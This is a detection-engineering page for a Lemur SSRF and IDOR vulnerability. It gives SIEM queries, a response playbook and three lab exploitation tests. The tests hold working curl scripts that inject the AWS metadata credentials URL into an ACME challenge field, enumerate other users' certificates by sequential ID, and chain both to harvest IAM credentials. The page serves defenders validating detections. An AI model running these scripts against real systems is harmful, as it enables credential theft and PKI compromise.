Detect CVE-2026-55166: Lemur ACME SSRF and IDOR Leading to AWS IAM/PKI Compromise in Sumo Logic CSE
Detects exploitation of CVE-2026-55166 in Netflix Lemur (versions < 1.9.2), which combines an ACME protocol Server-Side Request Forgery (CWE-918) with a creator-equality Insecure Direct Object Reference (CWE-639/CWE-285). Successful exploitation allows an attacker to pivot from certificate management to AWS IAM credential theft and PKI infrastructure compromise. PoC is publicly available. Fixed in Lemur 1.9.2 — organizations should upgrade immediately.
MITRE ATT&CK
Sumo Detection Query
_sourceCategory=web/access OR _sourceCategory=nginx OR _sourceCategory=haproxy
| parse "* * * [*] \"* * *\" * *" as src_ip, ident, user, time, method, uri, protocol, status, bytes nodrop
| if (isEmpty(uri), url, uri) as request_uri
| where request_uri matches "/api/v1/*"
| where (
(request_uri matches "*acme*" or request_uri matches "*challenge*" or request_uri matches "*validation*")
or request_uri matches "*169.254.169.254*"
or (method in ("GET","PUT","DELETE") and request_uri matches "/api/v1/certificates/*")
)
| eval attack_indicator = if(request_uri matches "*169.254.169.254*", "METADATA_SSRF",
if(request_uri matches "*acme*" and request_uri matches "*url=*", "ACME_SSRF",
if(request_uri matches "/api/v1/certificates/[0-9]*", "IDOR_ENUM", "UNKNOWN")))
| timeslice 5m
| stats count as hits, values(request_uri) as uris, values(attack_indicator) as indicators by src_ip, _timeslice
| where hits > 3 or indicators matches "*METADATA_SSRF*"
| sort by hits desc Sumo Logic query detecting Lemur exploitation patterns including ACME SSRF callback abuse, cloud metadata endpoint probing, and certificate IDOR enumeration from web access logs.
Data Sources
Required Tables
False Positives & Tuning
- Automated certificate management tools performing high-volume API operations
- Internal monitoring probing Lemur API endpoints for availability
- Authorized security testing generating ACME validation traffic
- Multi-tenant environments where different teams manage shared certificates
Other platforms for CVE-2026-55166
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1CVE-2026-55166 ACME SSRF via HTTP-01 Challenge URL Injection
Expected signal: Outbound HTTP GET to 169.254.169.254 from Lemur process; web log entry for POST /api/v1/certificates with pluginOptions containing acme_challenge_url
- Test 2CVE-2026-55166 IDOR Certificate Enumeration via Sequential ID Access
Expected signal: 200 HTTP responses to GET /api/v1/certificates/[1-200] from a single source IP; Lemur audit log entries for cross-user certificate access
- Test 3CVE-2026-55166 Chained SSRF + IDOR for AWS IAM Credential Harvest
Expected signal: Sequential GET requests to /api/v1/authorities/[1-50]; POST to /api/v1/certificates with IMDS URL in pluginOptions; outbound TCP connection from Lemur process to 169.254.169.254:80
Response Playbook
Triage
- Immediately identify the Lemur version running: check pip show lemur or the container image tag. If version < 1.9.2, treat as compromised until proven otherwise.
- Review Lemur application logs for POST/PUT requests to /api/v1/certificates, /api/v1/authorities, and /api/v1/pending_certificates within the last 24–72 hours, filtering for source IPs that differ from known admin sources.
- Check outbound HTTP connections from the Lemur host/container to 169.254.169.254 or other RFC-1918/link-local ranges — any such connection from a certificate management service is a critical indicator of SSRF exploitation.
- Enumerate any IAM roles attached to the EC2/ECS instance running Lemur. If IMDS was reached, assume the role credentials are compromised and rotate immediately.
- Cross-reference the Lemur audit log (if enabled) for certificate ownership changes or cross-user certificate access patterns indicative of IDOR exploitation.
Containment
- Block outbound HTTP from the Lemur host to 169.254.169.254 and all RFC-1918 ranges via host firewall (iptables/nftables) or security group egress rules to prevent further SSRF exfiltration.
- Rotate all AWS IAM credentials, PKI CA signing keys, and ACME account keys accessible from the Lemur host. Invalidate existing issued certificates if CA key exposure is confirmed.
- Restrict Lemur API access to known administrator IPs via WAF or network ACL while patching to v1.9.2 is completed.
- If container-based, stop and replace the running Lemur container with a patched image (>= 1.9.2); do not attempt in-place pip upgrade in production without validation.
Evidence Collection
- Capture full Lemur application logs (gunicorn/uwsgi stdout, database query logs if enabled) for the suspicious timeframe and preserve to immutable storage before any remediation.
- Collect AWS CloudTrail logs for the IAM role(s) attached to the Lemur instance, filtering for GetCallerIdentity, AssumeRole, ListRoles, and any S3/ACM/SSM API calls made after the suspected exploitation window.
- Export Lemur's certificate and authority database tables to identify any certificates issued, modified, or deleted during the attack window.
- Preserve network flow logs (VPC Flow Logs / NetFlow) showing all outbound connections from the Lemur host for forensic SSRF path reconstruction.
Escalation Criteria
- !Escalate immediately if CloudTrail shows API calls from the Lemur IAM role that are inconsistent with normal certificate operations — especially AssumeRole, IAM key creation, or access to secrets stores (SSM Parameter Store, Secrets Manager).
- !Escalate if the PKI CA private key material was stored on or accessible from the Lemur host and the SSRF chain could have exfiltrated it — this requires certificate revocation across all issued certs and CA rebuild.
- !Escalate if IDOR exploitation resulted in certificate issuance for domains not owned by the organization (potential mis-issuance, CAB Forum violation).
- !Escalate to CISO if any certificates signed by the compromised CA are used in production mTLS or VPN infrastructure, as trust may need to be revoked cluster-wide.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Lemur access log entries with ACME challenge endpoints containing url= parameters pointing to RFC-1918 or link-local addresses - >
AWS CloudTrail: GetCallerIdentity calls from the Lemur EC2 instance role outside of normal operational hours - >
Database records in Lemur's certificate table showing ownership mismatches (created_by vs last_modified_by from different user contexts) - >
Network flow records showing HTTP GET to 169.254.169.254/latest/meta-data/iam/security-credentials/ from Lemur host - >
ACME account audit trail showing challenges initiated for domains not in the organization's registered namespace
Tuning Guidance
Start with the SSRF detection for 169.254.169.254 as a near-zero false positive signal — no legitimate Lemur operation should reach the AWS metadata service. For the ACME callback SSRF, build an allowlist of known-good ACME provider callback domains (Let's Encrypt, ZeroSSL, DigiCert ACME) and suppress matches from those sources. For IDOR hunting, establish a baseline of normal certificate ID access patterns per user/service account and alert on deviations >3 standard deviations. Suppress alerts from known CI/CD service accounts that bulk-query certificates during pipeline runs. If Lemur is deployed behind a WAF, the SSRF payloads may be URL-encoded — ensure your pattern matching handles %2F, %3A, and %40 encoding of internal IP addresses.
Hunting Queries
Hunt for sequential integer enumeration of Lemur certificate IDs — a key indicator of IDOR exploitation. A single source accessing a wide range of certificate IDs in a short window is highly anomalous.
AzureDiagnostics
| where TimeGenerated > ago(7d)
| where Category == "ApplicationGatewayAccessLog"
| where requestUri_s matches regex @"/api/v1/certificates/[0-9]+"
| extend CertId = toint(extract(@"/certificates/([0-9]+)", 1, requestUri_s))
| where isnotnull(CertId)
| summarize MinId = min(CertId), MaxId = max(CertId), RequestCount = count(), UniqueIPs = dcount(clientIP_s) by bin(TimeGenerated, 1h)
| extend IdRange = MaxId - MinId
| where IdRange > 50 and RequestCount > 20
| project TimeGenerated, MinId, MaxId, IdRange, RequestCount, UniqueIPs index=web sourcetype IN (access_combined, nginx)
| rex field=uri "/api/v1/certificates/(?<cert_id>[0-9]+)"
| where isnotnull(cert_id)
| eval cert_id=tonumber(cert_id)
| stats min(cert_id) as min_id, max(cert_id) as max_id, count as requests, dc(src_ip) as unique_ips by src_ip, span=1h
| eval id_range=max_id-min_id
| where id_range > 50 AND requests > 20
| table _time, src_ip, min_id, max_id, id_range, requests, unique_ips Atomic Red Team Tests
Simulate exploitation of the ACME HTTP-01 validation SSRF by submitting a certificate order with a crafted validation URL pointing to the AWS IMDS endpoint. Lab only — requires Lemur < 1.9.2.
Command
# Obtain auth token (lab credentials)
LEMUR_TOKEN=$(curl -s -X POST http://lemur-lab:8000/auth/login \
-H 'Content-Type: application/json' \
-d '{"username":"lemur","password":"lemur"}' | python3 -c 'import sys,json; print(json.load(sys.stdin)["token"])')
# Create certificate with SSRF payload in ACME DNS/HTTP validation URL
curl -s -X POST http://lemur-lab:8000/api/v1/certificates \
-H "Authorization: Bearer $LEMUR_TOKEN" \
-H 'Content-Type: application/json' \
-d '{
"authority": {"name": "test-acme-ca"},
"commonName": "ssrf-test.lab.internal",
"validityStart": "2026-06-26T00:00:00",
"validityEnd": "2027-06-26T00:00:00",
"pluginOptions": {
"acme_challenge_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"validation_method": "http-01"
}
}' Cleanup
curl -s -X DELETE http://lemur-lab:8000/api/v1/certificates/$(curl -s http://lemur-lab:8000/api/v1/certificates?filter=commonName%3Assrf-test.lab.internal | python3 -c 'import sys,json; d=json.load(sys.stdin); print(d["items"][0]["id"]) if d["total"] > 0 else None') -H "Authorization: Bearer $LEMUR_TOKEN" Expected Telemetry
Outbound HTTP GET to 169.254.169.254 from Lemur process; web log entry for POST /api/v1/certificates with pluginOptions containing acme_challenge_url
Expected Detection
SSRF_ACME_CALLBACK or CLOUD_METADATA_SSRF alert from web proxy/WAF; network flow alert for RFC-1918/link-local outbound from Lemur host
Exploit creator-equality IDOR flaw by sequentially accessing certificate IDs belonging to other users. Simulates an attacker using one account to read certificates owned by all other users.
Command
# Authenticate as low-privilege lab user
LEMUR_TOKEN=$(curl -s -X POST http://lemur-lab:8000/auth/login \
-H 'Content-Type: application/json' \
-d '{"username":"attacker","password":"attacker123"}' | python3 -c 'import sys,json; print(json.load(sys.stdin)["token"])')
# Enumerate certificate IDs 1-200 sequentially
for i in $(seq 1 200); do
RESP=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer $LEMUR_TOKEN" \
http://lemur-lab:8000/api/v1/certificates/$i)
if [ "$RESP" = "200" ]; then
curl -s -H "Authorization: Bearer $LEMUR_TOKEN" \
http://lemur-lab:8000/api/v1/certificates/$i \
| python3 -c 'import sys,json; c=json.load(sys.stdin); print(f"ID={c[\"id\"]}, CN={c[\"commonName\"]}, Owner={c[\"owner\"]}")
fi
done Cleanup
# No cleanup needed — this is a read-only enumeration. Remove test accounts created for the lab. Expected Telemetry
200 HTTP responses to GET /api/v1/certificates/[1-200] from a single source IP; Lemur audit log entries for cross-user certificate access
Expected Detection
IDOR_CERT_ENUMERATION alert when sequential integer ID range > 50 accessed within 5 minute window from single source IP
Full attack chain: use IDOR to identify high-value CA certificates, then chain ACME SSRF to exfiltrate AWS IAM credentials from the instance metadata service, simulating complete CVE-2026-55166 exploitation.
Command
#!/bin/bash
# STEP 1: IDOR — find authority IDs
LEMUR_TOKEN=$(curl -s -X POST http://lemur-lab:8000/auth/login \
-H 'Content-Type: application/json' \
-d '{"username":"attacker","password":"attacker123"}' | python3 -c 'import sys,json; print(json.load(sys.stdin)["token"])')
echo "[*] Enumerating certificate authorities..."
for i in $(seq 1 50); do
curl -s -H "Authorization: Bearer $LEMUR_TOKEN" \
http://lemur-lab:8000/api/v1/authorities/$i 2>/dev/null \
| python3 -c 'import sys,json
try:
d=json.load(sys.stdin)
if "name" in d: print(f"Found CA: id={d[\"id\"]}, name={d[\"name\"]}, active={d.get(\"active\",\"?\")}")
except: pass' 2>/dev/null
done
# STEP 2: SSRF — trigger ACME validation to IMDS
echo "[*] Triggering SSRF to AWS IMDS..."
curl -s -X POST http://lemur-lab:8000/api/v1/certificates \
-H "Authorization: Bearer $LEMUR_TOKEN" \
-H 'Content-Type: application/json' \
-d '{
"authority": {"name": "test-acme-ca"},
"commonName": "pwned.lab.internal",
"validityStart": "2026-06-26T00:00:00",
"validityEnd": "2027-06-26T00:00:00",
"pluginOptions": {
"acme_challenge_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/lemur-role",
"validation_method": "http-01"
}
}'
echo "[*] Check Lemur application logs for IMDS response data" Cleanup
# Remove test certificates and revoke any issued by the lab CA. Reset lab Lemur instance to clean state.
curl -s -X DELETE http://lemur-lab:8000/api/v1/certificates/$(curl -s -H "Authorization: Bearer $LEMUR_TOKEN" 'http://lemur-lab:8000/api/v1/certificates?filter=commonName%3Apwned.lab.internal' | python3 -c 'import sys,json; d=json.load(sys.stdin); print(d["items"][0]["id"]) if d["total"] > 0 else print("")') Expected Telemetry
Sequential GET requests to /api/v1/authorities/[1-50]; POST to /api/v1/certificates with IMDS URL in pluginOptions; outbound TCP connection from Lemur process to 169.254.169.254:80
Expected Detection
Both IDOR_CERT_ENUMERATION and CLOUD_METADATA_SSRF alerts within same 10-minute window from same source IP, triggering correlated high-severity incident